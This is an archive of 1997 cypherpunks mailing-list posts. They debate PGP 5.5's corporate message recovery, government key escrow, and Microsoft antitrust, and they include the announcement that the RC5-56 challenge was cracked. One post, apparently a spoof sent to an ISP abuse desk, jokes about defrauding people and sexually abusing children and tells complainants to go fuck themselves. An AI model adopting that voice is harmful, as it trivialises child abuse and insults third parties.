Rein them in! Stop them from buying what they want! Don't let them get free
copies of Internet Explorer.

I share Lizard's distaste for Microsoft products. My Unix workstation at
home has not one MSFT application on it. I have only Microsoft Word on my
Duo at work, and I could get by with WordPerfect. But our dislike for their
products doesn't mean that we are morally justified in restricting what the
company can do.

-Declan



At 10:42 -0700 10/22/97, Lizard wrote:
>Uhm...how do 'we all' benefit from having the same Justice Department which
>defended the CDA (and which is pushing for GAK) decide for us all what is,
>and is not, part of an operating system?
>
>These people are not qualified to make ANY judgements about computers -- I
>have to assume the 'experts' they got to tell them about OS software are no
>more qualified than the 'experts' they got to testify about the CDA (L-18,
>anyone?).
>
>I have no great love for Microsoft (I don't think anyone forced to use
>their crappy software does), and, emotionally, I'd like to see them get
>taken down a peg -- but legally and ethically, they are not doing anything
>wrong. They're just being tough competitors. Microsoft has prospered not
>due to any technical brilliance on their part, but due to sheer
>incompetance on the part of the rest of the industry, who have made a hobby
>of underestimating Bill Gates and overestimating their own customers loyalty.
>
>It's a pity I'm a mind-flaying victim. If I wasn't, I could forget
>principles and ideals and just say, "Microsoft Big. Microsoft Nasty. Uncle
>Sam stomp Microsoft. Yay, Uncle Sam." But because I work from principle
>FIRST, I have to grant Microsoft the same rights I would grant Sam's Deli
>or Joe's Shoe Store, and that includes the right to offer any combination
>of products or services they wish, and let the market decide to buy or not.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 02:41:58 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET  ALERT)
In-Reply-To: <v03007808b073c711fcb1@[204.254.22.221]>
Message-ID: <v0300780eb073f3f9431f@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 14:06 -0400 10/22/97, Jonah Seiger wrote:
>While I suspect that new key recovery or CMR products may create some new
>traction for supporters of mandatory GAK, PGP 5.5 is not the first example
>of such a product (TIS has been marketing key recovery products for a
>while).

Of course TIS has been doing this forever. But TIS, a shop staffed by
former NSA spooks, is not the PGP that Phil Zimmermann founded. For PGP to
release such a product changes the political dynamic in important ways.

>More importantly though, the Blaze et al study
>(http://www.crypto.com/key_study) did not say that key recovery/key escrow
>systems can't be built.

In fact it said: "Building the secure infrastructure of the breathtaking
scale and complexity that would be required for such a scheme is beyond the
experience and current competency of the field." Sounds like "can't be
built" to me.

>So far, Soloman, the FBI, nor other mandatory GAK supporters have said that
>PGP 5.5 or other key recovery products on the market today solve their
>so-called 'problems'.  I don't really expect them to. They seem to want
>much much more.

I agree that PGP 5.5 doesn't meet the FBI's demand for realtime access. But
it can be used as a waving-around-on-the-House-floor prop to pass a law
that requires mandatory key escrow.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 05:51:17 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <199710222045.WAA03143@basement.replay.com>
Message-ID: <v03102803b07421340bd3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:45 PM -0700 10/22/97, Anonymous wrote:
>>Agreed. What amazes me is how PGP, Inc. would decide this should be a core
>>part of their company. "PGP for Business," indeed. What were they thinking?
>
>Um, maybe that they wanted to stay in business?

This is a truism, that businesses want to stay in business. (And thrive, etc.)

The interesting question is whether this action will help them.

Why it may not is what we're talking about.

For example, if PGP loses its "little guy fighting the system" image, and
the company is seen as a major supplier of snoopware and GMR systems, it
will have squandered the good will which led many of us to support PGP.

And it's by no means clear that corporations will pay enough for PGP for
Business if this good will has been squandered.

The free status of most versions of PGP is indeed an impediment to PGP
making a profit.  That's an unchangeable situation. Lots of copies of PGP
are already out there, and lots more are available from many sites.

The "commercial use" vs. "personal use" dichotomy is largely unenforceable.
If Joe Employee uses PGP 2.6 or even 5.0 for his messages, PGP, Inc. will
have a very hard time proving in court that Joe or his employer can be held
liable for this use (at most, maybe Joe will have to pay $50 or so...and
probably not even that, as PGP 5.0 is not serialized (so far as I can find)
and records aren't kept...Joe can just claim he did in fact buy it, blah
blah).

This means PGP, Inc. faces a Netscape-like battle in finding revenue sources.

Will they succeed?

Will people like us continue to give PGP, Inc. the good will it has enjoyed?

Stay tuned.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: spencer_ante@webmagazine.com
Date: Thu, 23 Oct 1997 06:21:00 +0800
To: tcmay@got.net
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <88256538.00787D24.00@pcwhub.pcworld.com>
MIME-Version: 1.0
Content-Type: text/plain




With all due respect to Tim May:

As a person whose been at work on a very long feature about PGP Inc. for
Wired, I can tell you that businesses really don't care that much about
PGP's civil liberties advocacy. In fact, its rep could hurt as much as help
them. The Fortune 500 is much more pragmatic: They want solutions that
work, that help them maintain security for their intellectual property and
capital. To that extent, PGP 5.5--which enables IS directors to manage a
public key infrastructure and enforce company-wide security policies-- is a
step in the right direction.

But with this new product, I agree that they run the risk of alienating
their core user group of cypherpunks and hackers. Encryption is a very
complicated topic that doesn't lend itself well to sloganeering and
histrionics. And one major thing that needs to be pointed out: PGP's key
recovery system is *voluntary and private*--not mandatory and gov.
controlled, which is what the Feds and Louis Freeh have been pushing for.
One potential positive side effect of PGP 5.5 is that it could realign the
crypto debate and force people to consider this question: Whose back door
should netizens be more worried about: Big Brother or The Boss?


Spencer E. Ante
Associate Editor
THE WEB Magazine



To:   cypherpunks@toad.com, fight-censorship@vorlon.mit.edu
cc:    (bcc: Spencer Ante/PCWORLD)
Subject:  Re: PGP, Inc.--What were they thinking?




At 1:45 PM -0700 10/22/97, Anonymous wrote:
>>Agreed. What amazes me is how PGP, Inc. would decide this should be a
core
>>part of their company. "PGP for Business," indeed. What were they
thinking?
>
>Um, maybe that they wanted to stay in business?
This is a truism, that businesses want to stay in business. (And thrive,
etc.)
The interesting question is whether this action will help them.
Why it may not is what we're talking about.
For example, if PGP loses its "little guy fighting the system" image, and
the company is seen as a major supplier of snoopware and GMR systems, it
will have squandered the good will which led many of us to support PGP.
And it's by no means clear that corporations will pay enough for PGP for
Business if this good will has been squandered.
The free status of most versions of PGP is indeed an impediment to PGP
making a profit.  That's an unchangeable situation. Lots of copies of PGP
are already out there, and lots more are available from many sites.
The "commercial use" vs. "personal use" dichotomy is largely unenforceable.
If Joe Employee uses PGP 2.6 or even 5.0 for his messages, PGP, Inc. will
have a very hard time proving in court that Joe or his employer can be held
liable for this use (at most, maybe Joe will have to pay $50 or so...and
probably not even that, as PGP 5.0 is not serialized (so far as I can find)
and records aren't kept...Joe can just claim he did in fact buy it, blah
blah).
This means PGP, Inc. faces a Netscape-like battle in finding revenue
sources.
Will they succeed?
Will people like us continue to give PGP, Inc. the good will it has
enjoyed?
Stay tuned.
--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 06:20:32 +0800
To: Jeffrey Gold <pgp-users@joshua.rivertown.net>
Subject: Re: World-wide GAK
In-Reply-To: <01IP4EPU8GYMANBQBB@DGN0IG.mcimail.com>
Message-ID: <v03102804b07429a30732@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:31 PM -0700 10/22/97, Jeffrey Gold wrote:
>For those who thought GAK was merely a local political issue,
>isolated to those barbarians in the USA, one that they could
>afford to ignore and morally refuse to address -- Quelle surprise!
>It's spreading:

Yes, this was reported earlier by others. Fabrice Planchon, a native of
France (I believe), discussed it at length.

And it is not surprising to any of us who have been following developments,
vis-a-vis the OECD, Wasenaar Agreement, and New World Order in general.

Nor is it by any stretch the first non-US GAK measures proposed. Cf. the
Trusted Third Parties plan in the U.K., the Australian developments, and
various measures in the Phillipines, Singapore, Germany, Sweden, and, of
course, the People's Republic of China.

--Tim May


>FRANCE PROPOSES KEY ENCRYPTION LAW
>
>The French government has proposed a law that would mandate a
>key-recovery system for all encrypted electronic documents, a
>move that is opposed by the business community and the European
>Commission.  Earlier this month, the European Commission rejected
>the key-recovery approach to encryption, which some believe would
>make it easier for competitors to gain access to a company's
>business secrets.  "I do not say this is the best system,"
>says the chief of France's Central Service for the Security of
>Information Systems.  "It is the least bad in trying to find a
>balance between national-security interests, economic interests
>and the protection of personal privacy."
>
>(Wall Street Journal 20 Oct 97)


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 06:29:10 +0800
To: spencer_ante@webmagazine.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.00787D24.00@pcwhub.pcworld.com>
Message-ID: <v03102805b0742b687194@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:08 PM -0700 10/22/97, spencer_ante@webmagazine.com wrote:
>With all due respect to Tim May:
>
>As a person whose been at work on a very long feature about PGP Inc. for
>Wired, I can tell you that businesses really don't care that much about
>PGP's civil liberties advocacy. In fact, its rep could hurt as much as help
>them. The Fortune 500 is much more pragmatic: They want solutions that

I agree that the civil liberties side of PGP is of no interest to
corporations...in fact, it scare them a great deal. Talking about how Hamas
is using PGP to communicate so that the Zionist entity government cannot
successfully wiretap the freedom fighters is not something IS managers like
to hear about.

I agree that PGP, Inc. is apparently recasting itself as a supplier to IS
departments and bean counters.

>work, that help them maintain security for their intellectual property and
>capital. To that extent, PGP 5.5--which enables IS directors to manage a
>public key infrastructure and enforce company-wide security policies-- is a
>step in the right direction.
>
>But with this new product, I agree that they run the risk of alienating
>their core user group of cypherpunks and hackers. Encryption is a very
>complicated topic that doesn't lend itself well to sloganeering and
>histrionics. And one major thing that needs to be pointed out: PGP's key

If you are implying that my words are "sloganeering and histrionics," I
think you're way off-base.

I suggest you start reading the points being debated in more detail, and
think about the deeper issues.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 06:37:33 +0800
To: cypherpunks@Algebra.COM
Subject: Freeh-style Encryption needed to fight infowar threat
Message-ID: <v03102806b0742ea333c5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I just saw the principle author of the recently released report of the
"Commission on
Critical Infrastructure Protection," interviewed on CNBC, a business
program. Robert Marsh called for increased use of encyption to proect the
nation's computer networks against hackers and crackers and
info-terrorists.

The catch? It's the FBI proposal he wants to see adopted.

Personally, I think this issue, and Marsh in particular, are sleep-inducers
to most people, so I don't see this as a driving force for GAK the way a
building being blown up, or a child porn ring, will be.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: spencer_ante@webmagazine.com
Date: Thu, 23 Oct 1997 07:21:28 +0800
To: declan@well.com
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <88256538.007CF786.00@pcwhub.pcworld.com>
MIME-Version: 1.0
Content-Type: text/plain




Declan, perhaps the Big Brother vs. The Boss debate has been talked about
for years in the crypto community but, as far as I can tell, it hasn't
crossed over into the mainstream mediasphere. And that's partly due to the
rhetoric of cyberlibertarians, who have consistently pointed their finger
(justifiably most of the time) at the evil government, at the expense of
seriously analyzing surveillance in the private sector. For example, how
many people know what their company's security policy is? Do they read your
email? How often and with what cause?

I think any type of surveillance system is cause for concern--whether it
originates from the government or IBM. Lastly, I think you overestimate the
amount of wiggle room folks have in the labor market, which is never
perfect. What happens when most of the Fortune 500 starts eavesdropping on
company email? (Incidentally, I think that most working people--unlike the
digerati--are not in a position to launch their own company.) It reminds me
of the drug testing issue. Sure, it sucks and may even be unconstitutional,
but that hasn't stopped a lot of companies from doing it.

-Spencer

(posting this from my the computer in my corporate cubicle)





At 15:08 -0700 10/22/97, spencer_ante@webmagazine.com wrote:
>But with this new product, I agree that they run the risk of alienating
>their core user group of cypherpunks and hackers. Encryption is a very
>complicated topic that doesn't lend itself well to sloganeering and
>histrionics. And one major thing that needs to be pointed out: PGP's key
>recovery system is *voluntary and private*--not mandatory and gov.
>controlled, which is what the Feds and Louis Freeh have been pushing for.
>One potential positive side effect of PGP 5.5 is that it could realign the
>crypto debate and force people to consider this question: Whose back door
>should netizens be more worried about: Big Brother or The Boss?
Spencer, the folks on the cypherpunks list know better than perhaps anyone
else that encryption is a complicated topic.
I know it's tempting to search for New Things to Say about the crypto
debate. I try it myself sometimes. But the question you posed about "whose
backdoor should netizens be more worried about" has been debated for years
and is hardly new.
The short answer to it is: when Big Brother is my Boss, I have remedies. I
can leave the company or pressure it to change policies. I can file a union
grievance. If all else fails, I can leave the company and start my own.
This is not the case when Big Brother is Louis Freeh or Janet Reno. When
worldwide GAK is the rule, where else can I go?
Also: governments have guns; governments have jails. They have unique
coercive powers, which the law and western philosophical traditions
recognize -- and try to limit.
-Declan
(posting this before a soccer game somewhere in virginia)










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 04:25:42 +0800
To: cypherpunks@toad.com
Subject: Unlocking crypto-secrets Wired article -- request for help
Message-ID: <v03007812b0740d5c3b3a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



I'm working on a Netizen article for Wired Magazine on secret
crypto-briefings and thought I'd ask the list for help.

You know the briefings I'm talking about -- classified sessions where the
FBI director, the Commerce Dept, NSA, and occasionally anti-drug officials
pressure Congressmen to place restrictions on encryption. Sometimes it
works, and our elected representatives vote to put strict limits on
encryption technologies. (The secret briefings certainly seemed to work on
the House Commerce committee.)

I'd like to unlock those closed doors. If anyone has insights into what
happens during these sessions, I'd be very interested in learning more.
Pointers to open sources would be great. I will keep your identity
confidential.

I'd also be interested in learning more about the secret briefing practices
of other countries.

Please feel free to recirculate this message. I've attached my PGP key
below. Please use it sparingly; I keep my private key on a non-networked
machine and it's laborious to move data back and forth. If you want to send
a tip through an anonymous remailer, a web-based one is at:
  http://www.replay.com/remailer/anon_no_ssl.html

Thanks,

Declan

******************

http://www.well.com/user/declan/.pgpkey

PGP Key fingerprint =  F4 0A 36 1F 7F B1 4B CB
                       5C 38 2C 13 FE 1E 4D 80

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzF5mVcAAAEEALKyL4tjF7t4h+hmbY+q0b0FdSZy3dx8LuUwkTmAY6Ib/YX7
WhZR22+T1Tts/JaC7iAhr/zfxI9IrHqT1C7NV/aqdEVAuI+pjYKpcRKOU7i0ccAx
db/jddUvzX4bjqKQQLLcOihcle6BD2+7vEXxaaMOA5nTU5i/Sn7vt7V2BpKxAAUT
tCJEZWNsYW4gTWNDdWxsYWdoIDxkZWNsYW5Ad2VsbC5jb20+iQCVAwUQMXmajn7v
t7V2BpKxAQG6NAP/RUEBrnFfR6vbIdoAeyt2jXsuPPcH944mnyp4fNLH3OEzQlj6
tXee9eYaqazUgkLNCyWXDDGQJxsok58hqIEOHoTgilAcomMW3mIoqN7uMIevyvmo
NH170+a6drNwY4kNXNUsDDx6qfgQz5wTxaVyxbZuyslX1k3kDID8vPSyxbs=
=dofB
-----END PGP PUBLIC KEY BLOCK-----

******************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David McNett <nugget@slacker.com>
Date: Thu, 23 Oct 1997 05:34:34 +0800
To: rc5@llamas.net
Subject: [rc5] The unknown message is...
Message-ID: <3.0.3.32.19971022161452.009824f0@slacker.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

It is a great privilege and we are excited to announce that at 13:25 
GMT on 19-Oct-1997, we found the correct solution for RSA Labs' RC5-
32/12/7 56-bit secret-key challenge.  Confirmed by RSA Labs, the key 
0x532B744CC20999 presented us with the plaintext message for which we 
have been searching these past 250 days.

The unknown message is: It's time to move to a longer key length

In undeniably the largest distributed-computing effort ever, the 
Bovine RC5 Cooperative (http://www.distributed.net/), under the 
leadership of distributed.net, managed to evaluate 47% of the 
keyspace, or 34 quadrillion keys, before finding the winning key.  At 
the close of this contest our 4000 active teams were processing over 
7 billion keys each second at an aggregate computing power equivalent 
to more than 26 thousand Pentium 200's or over 11 thousand PowerPC 
604e/200's.  Over the course of the project, we received block 
submissions from over 500 thousand unique IP addresses.

The winning key was found by Peter Stuer <peter@dinf.vub.ac.be> with 
an Intel Pentium Pro 200 running Windows NT Workstation, working for 
the STARLab Bovine Team coordinated by Jo Hermans 
<Jo.Hermans@vub.ac.be> and centered in the Computer Science 
Department (DINF) of the Vrije Universiteit (VUB) in Brussels, 
Belgium.  (http://dinf.vub.ac.be/bovine.html/).  Jo's only comments 
were that "$1000 will buy a lot of beer" and that he wished that the 
solution had been found by a Macintosh, the platform that represented 
the largest portion of his team's cracking power.  Congratulations 
Peter and Jo!

Of the US$10000 prize from RSA Labs, they will receive US$1000 and 
plan to host an unforgettable party in celebration of our collective 
victory.  If you're anywhere near Brussels, you might want to find 
out when the party will be held.  US$8000, of course, is being 
donated to Project Gutenberg (http://www.promo.net/pg/) to assist 
them in their continuing efforts in converting literature into 
electronic format for the public use.  The remaining US$1000 is being 
retained by distributed.net to assist in funding future projects.

Equally important are the thanks, accolades, and congratulations due 
to all who participated and contributed to the Bovine RC5-56 Effort!  
The thousands of teams and tens of thousands of individuals who have 
diligently tested key after key are the reason we are so successful.

The thrill of finding the key more than compensates for the sleep, 
food, and free time that we've sacrificed!

Special thanks go to all the coders and developers, especially Tim 
Charron, who has graciously given his time and expertise since the 
earliest days of the Bovine effort.  Thanks to all the coordinators 
and keyserver operators: Chris Chiapusio, Paul Chvostek, Peter 
Denitto, Peter Doubt, Mishari Muqbil,  Steve Sether, and Chris 
Yarnell.  Thanks to Andrew Meggs, Roderick Mann, and Kevyn Shortell 
for showing us the true power of the Macintosh and the strength of 
its users.  We'd also like to thank Dave Avery for attempting to 
bridge the gap between Bovine and the other RC5 efforts.

Once again, a heartfelt clap on the back goes out to all of us who 
have run the client.  Celebrations are in order.  I'd like to invite 
any and all to join us on the EFNet IRC network channel #rc5 for 
celebrations as we regroup and set our sights on the next task.  Now 
that we've proven the limitations of a 56-bit key length, let's go 
one further and demonstrate the power of distributed computing!  We 
are, all of us, the future of computing.  Join the excitement as the 
world is forced to take notice of the power we've harnessed.

Moo and a good hearty laugh.

Adam L. Beberg - Client design and overall visionary
Jeff Lawson - keymaster/server network design and morale booster
David McNett - stats development and general busybody

 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE5sy7N5xKXkPF/DEQLBMwCfadBDxP97DhosT7ILs9vdYRha9nIAnRCl
ydiRYhdAplj25nDSZNbXYILS
=4dNQ
-----END PGP SIGNATURE-----

-/\/ugget
 ________________________________________________________________________
|David McNett      |To ensure privacy and data integrity this message has|
|nugget@slacker.com|been encrypted using dual rounds of ROT-13 encryption|
|Birmingham, AL USA|Please encrypt all important correspondence with PGP!|

----
To unsubscribe, send email to majordomo@llamas.net with 'unsubscribe rc5' in the body.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Thu, 23 Oct 1997 07:37:11 +0800
To: declan@well.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <88256538.007CF786.00@pcwhub.pcworld.com>
Message-ID: <3.0.1.32.19971022162041.00909360@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:05 PM 10/22/97 -0700, spencer_ante@webmagazine.com wrote:
>
>Declan, perhaps the Big Brother vs. The Boss debate has been talked about
>for years in the crypto community but, as far as I can tell, it hasn't
>crossed over into the mainstream mediasphere. And that's partly due to the
>rhetoric of cyberlibertarians, who have consistently pointed their finger
>(justifiably most of the time) at the evil government, at the expense of
>seriously analyzing surveillance in the private sector. For example, how
>many people know what their company's security policy is? Do they read your
>email? How often and with what cause?

My companies security policy is great -- I'm the only one who understands
the network. But it's a significant concern for most other people, I grant
you.

One of the main differences between corporate and private crypto is that,
fundementally, your boss owns your work PC -- he's given it to you so that
you can do your job, not play Doom, or exchange sexy email with the gals in
the secretary pool (do they still have those?). I think most workers are
more productive and more loyal when they are NOT being spied on, but that's
an issue of ethics and efficiency, not of rights.

But your home computer...that's a very different story. That one is YOURS,
bought by you for your purposes, and no one -- not Uncle Sam, not Mr.
Dithers -- has a right to go prodding around in it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jmayorga@netscape.com (John Mayorga)
Date: Thu, 23 Oct 1997 08:07:27 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <3.0.3.32.19971022113904.00bca690@mail.pgp.com>
Message-ID: <344E929C.EED741BF@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain

This whole "company key", "department key", and "personal key" business seems
strangely similar to the hierarchical structure of an LDAP server.  I wonder where
we could store that information...  :-)

Just my 2¢.

John E. Mayorga





Jon Callas wrote:

> At 03:02 AM 10/22/97 -0700, mark@unicorn.com wrote:
>
> Thanks. I want to add that what's in 5.5 is hardly what we think is
> perfect. The system is designed simply to be preferable to key escrow. We
> have some improvements we're planning for it in the future. So you're right
> -- it's a short-term solution.
>
>    The current system sends out a user's personal key, with a tag to say that
>    if I don't encrypt to the company as well, my mail will bounce. But think
>    about this: how often do I want to send email to a particular person in a
>    company, and ensure that only they see it? And how often do I want to send
>    mail to a particular group inside a company? All I want is to ensure that
>    I get a response from the company, I usually don't care who I talk to in
> the
>    process.
>
> You have it mostly right. There's a tag in a self-signature that says,
> "please encrypt to this other key, too." The only time you are required to
> encrypt to Alice's other key is if you and Alice share the same additional
> key (and not always even then).
>
>    So PGP's "everything private unless you choose to make it public" system
>    seems backwards. Surely what we really need to meet these customer demands
>    is an "everything public (within the company) unless you choose to make it
>    private" system? That is, all mail to my department inside the company
>    should be encrypted to a department key, shared by all members, *unless*
>    it is confidential, in which case it should *only* be encrypted to me.
>
> This is certainly possible with the system, and in fact easier to implement
> than anything else.
>
>    Here's how I see this working: when Joe Blow joins Foo-Bah Cryptosystems,
>    he creates his own personal PGP key. He also gets a copy of the department
>    key, which he can use to decrypt any mail which is encrypted to his
>    department; or this decryption could be handled automatically by a
>    department email server to ensure that individuals never have access to the
>    department's private key. PGP then creates a public key for 'Joe Blow
>    <joe.blow@foo-bah.com>', which would be the department key with a signed
> tag
>    linking it to his personal public key. This is the tagged corporate public
>    key which he would give out to any customers.
>
>    When a customer wishes to send email to Joe, he would use this public key.
>    When encrypting, PGP would detect the tag and put up a dialog box pointing
>    out that this is a corporate key and if they click on the 'confidential'
>    button it will be encrypted to the user's personal key prior to encrypting
>    to the corporate key (by which I mean superencryption, to avoid traffic
>    analysis). The default would be not to superencrypt; and as a side effect
>    this system would be compatible with any version of PGP for
>    non-confidential mail (assuming that version understands the encryption
>    algorithms in use).
>
>    The effect of this is that if someone wants to send email about an urgent
>    bug and I'm out at lunch, any of my co-workers can read that mail. But if
>    they want to send *me* mail about confidential inter-company negotiations,
>    the co-workers could decrypt the outer layer of the message, but would be
>    blocked by the inner layer encryption to my personal key.
>
>    As I see it, this system is simple, solves the problems which PGP claim
>    they need to solve without creating the snooping problems Tim and others
>    have discussed, cannot easily be adapted to GAK ('This message is to be
>    encrypted to the FBI public key. If it is confidential, click here to
>    superencrypt to the recipient's personal key'), and won't require a
>    massive change to the PGP source code.
>
> This is exactly CMR. The only thing that Business 5.5 does is automatically
> add the department for you, and put up the recipient dialog so it can be
> taken off. Congrats.
>
>    There are some obvious security issues with having the department key
>    shared amongst the members of the department, but I don't see that they
>    are any worse than PGP's current CMR implementation, which has already
>    discussed the use of department keys; it's certainly better than using
>    plaintext. There are also problems with encrypting confidential mail to
>    multiple recipients, but they're surmountable; an easy solution, if you
>    don't care about traffic analysis, is to only encrypt confidential mail
>    to the personal key rather than superencrypt with the corporate key. In
> most
>    cases such mail wouldn't be sent to multiple recipients anyway.
>
>    So here's how I'd see the simple system working:
>
>    A PGP CMR key would consist of
>
>    1. A corporate key; this might be company-wide, department-wide, or
>       an individual escrowed key; this choice is a seperate key-management
>       issue for the corporation.
>    2. Optionally a personal key, which could only be decrypted by the
>       individual.
>    3. A signature from the corporate key linking the personal key to it
>       and the specified User Id.
>    4. Optional flag to indicate which key to encrypt to by default.
>    5. User Id, signatures, etc
>
>    When PGP was asked to encrypt to such a key, it would check for the
>    optional personal key. If it wasn't there, it would put up a warning
>    box to tell the user that the message can be read by people other than
>    the recipient. If it is, then it would put up a dialog box allowing the
>    user to choose whether to encrypt to the corporate key or the individual
>    key, normally defaulting to the corporate key. This system could not easily
>    become GAK because it will only encrypt to one of the keys and not both;
>    the FBI could create FBI CMR keys from all our public keys, but then PGP
>    would either encrypt to the FBI and I wouldn't be able to read it, or
>    encrypt to me and the FBI wouldn't be able to read it.
>
>    Anyone care to pick any holes?
>
> Looks good from here. You've redesigned PGP 5.5. Thanks.
>
>         Jon
>
> -----
> Jon Callas                                  jon@pgp.com
> Chief Scientist                             555 Twin Dolphin Drive
> Pretty Good Privacy, Inc.                   Suite 570
> (415) 596-1960                              Redwood Shores, CA 94065
> Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
>               665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)







begin:          vcard
fn:             John Mayorga
n:              Mayorga;John
org:            Netscape Communications Corp.
adr;dom:        ;;501 E. Middlefield Road, Mountain View, CA 94043, USA;9;;;
email;internet: jmayorga@netscape.com
tel;work:       4556
x-mozilla-cpt:  ;0
x-mozilla-html: FALSE
version:        2.1
end:            vcard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Leeds <cosmos@microserve.net>
Date: Thu, 23 Oct 1997 07:27:16 +0800
To: MIS Security <security@microserve.net>
Subject: Re: Complaints
In-Reply-To: <Pine.UW2.3.95.971022182310.25204j-100000@reality>
Message-ID: <344E8863.7B5@microserve.net>
MIME-Version: 1.0
Content-Type: text/plain



MIS Security wrote:
> Dan,
> You have a .forward file here at mis that points to toad.com.  Do you have
> a .forward there?  I received several compalints from people who are
> getting your mail at cosmos@microserve.net.
 
Jeremy,
  Don't pay any attention to the complaints. They are probably just
from people I have defrauded in business dealings, or parents who
object to the sexual liberties I have taken with their children.
  Just tell those whiners to go fuck themselves.

Dan
~----------------------------------------------------------------------------
Abuse & Security Department              MicroServe Information Systems,
Inc.
security@admin.microserve.net                100 North Wilkes-Barre
Boulevard
abuse@admin.microserve.net                   Wilkes-Barre, Pennsylvania
18702
http://www.naISPa.org                       (717)821-5964   FAX
(717)821-5968
-----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 23 Oct 1997 05:25:07 +0800
To: cypherpunks@cyberpass.net
Subject: Federal Key Recovery Demonstration Project ?!
Message-ID: <v03110716b0741d86fcea@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 20 Oct 1997 14:29:39 -0400
From: Mark Atwood <zot@ampersand.com> (by way of rah@shipwright.com (rah-news))
To: rah@shipwright.com
Subject: Federal Key Recovery Demonstration Project ?!
Mime-Version: 1.0
Path:
thing1.leftbank.com!thing2.leftbank.com!cam-news-feed2.bbnplanet.com!cam-news-hu
b1.bbnplanet.com!cam-news-feed5.bbnplanet.com!news.bbnplanet.com!ftp.ampersand.c
om!not-for-mail
Newsgroups: talk.politics.crypto
Organization: Ampersand, Inc.
Lines: 62
NNTP-Posting-Host: colon.ampersand.com
X-Newsreader: Gnus v5.2.40/Emacs 19.31
